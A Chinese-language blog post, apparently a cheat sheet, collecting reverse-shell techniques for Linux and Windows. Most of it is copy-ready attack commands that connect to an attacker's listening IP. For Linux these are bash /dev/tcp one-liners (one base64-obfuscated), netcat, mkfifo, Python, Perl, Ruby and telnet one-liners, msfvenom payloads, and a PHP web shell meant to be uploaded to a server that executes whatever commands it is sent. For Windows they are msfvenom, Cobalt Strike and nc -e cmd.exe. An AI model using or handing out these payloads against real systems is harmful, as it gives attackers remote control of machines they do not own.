Shell反弹姿势汇总(Linux+Windows)
本文最后更新于629 天前,其中的信息可能已经过时

Linux常用反弹shell姿势

环境准备

攻击机kali开启nc监听

nc -lvnp 8866

1. bash反弹

bash -i

bash -i >& /dev/tcp/192.168.153.129/8866 0>&1
  1. bash:表示使用Bash Shell执行命令。
  2. -i:表示以交互模式运行Bash Shell,即可以进行交互式输入和输出。
  3. &:表示将标准输出和标准错误输出重定向到指定文件或设备。
  4. /dev/tcp/192.168.153.129/8866:表示将标准输出和标准错误输出重定向到指定IP地址和端口号的网络套接字。在这个命令中,/dev/tcp是一个特殊的文件系统,可以用于在Bash Shell中建立TCP连接。
  5. 0>&1:表示将标准输入重定向到标准输出,即将Shell会话连接到攻击者的系统上。

bash -c

bash -c "bash -i >& /dev/tcp/192.168.153.129/8866 0>&1"

bash -c base64加密

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMjkvODg2NiAwPiYx}|{base64,-d}|{bash,-i}

2. netcat反弹

nc -e /bin/bash 192.168.153.129 8866

若-e报错

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.146 4444 >/tmp/f

3. python反弹(2和3都支持)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.153.129",8866));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4. msf生成反弹命令

msfvenom -p cmd/unix/reverse_bash lhost=192.168.153.129 lport=8866 R

命令帮助可以输入

payload msfvenom -l payloads 'cmd/unix/reverse'

5. php反弹

上传一个php文件,代码如下

<?php set_time_limit(0); $ip=$_POST['ip'];$port=$_POST['port'];$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{   fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");   while(!feof($fp)){   fputs($fp,"shell:");   $shell=fgets($fp);   $message=`$shell`;   fputs($fp,$message);   }fclose($fp);}?>

对文件进行上传访问,以post的方式传参ip和port,就可以将服务器shell反弹到攻击机。

ip=192.168.153.129&port=8866

6. telnet 反弹

mknod a p; telnet 192.168.153.129 8866 0<a | /bin/bash 1>a

另一种nc需要开启两个监听端口,一个实现使用命令,一个实现接受信息。

telnet 192.168.153.129 6666 | /bin/bash | telnet 192.168.88.146 8866

7. per反弹

perl -e 'use Socket;$i="192.168.153.129";$p=8866;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

8. ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.153.129",8866).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Windows常用反弹shell姿势

1.msf反弹

可以直接利用已知的漏洞免写入磁盘执行反弹,可以打包成Exe文件或者其他windows可执行的文件进行反弹。

msf命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.146 lport=6666 -f exe -o shell.exe

在msf中进行监听:设置好ip,端口,payload

在windows环境中运行生成的payload攻击机获取到反弹的shell

2. CS反弹

使用CS生成一个exe后门文件,也可以生成其他windows可执行的文件或者powershell指令。

选择监听器和输出类型:

生成一个payload,保存。

将文件在windows上运行。cs拿到shell


3. nc反弹

攻击机开启监听

nc -lvnp 8866

目标机运行

nc -t -e cmd.exe 192.168.88.146 6666

参考文章:

https://mp.weixin.qq.com/s/fNynn-6Ie0HiTTwblZxKTw

如果觉得本文对您有所帮助,可以支持下博主,一分也是缘😊
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇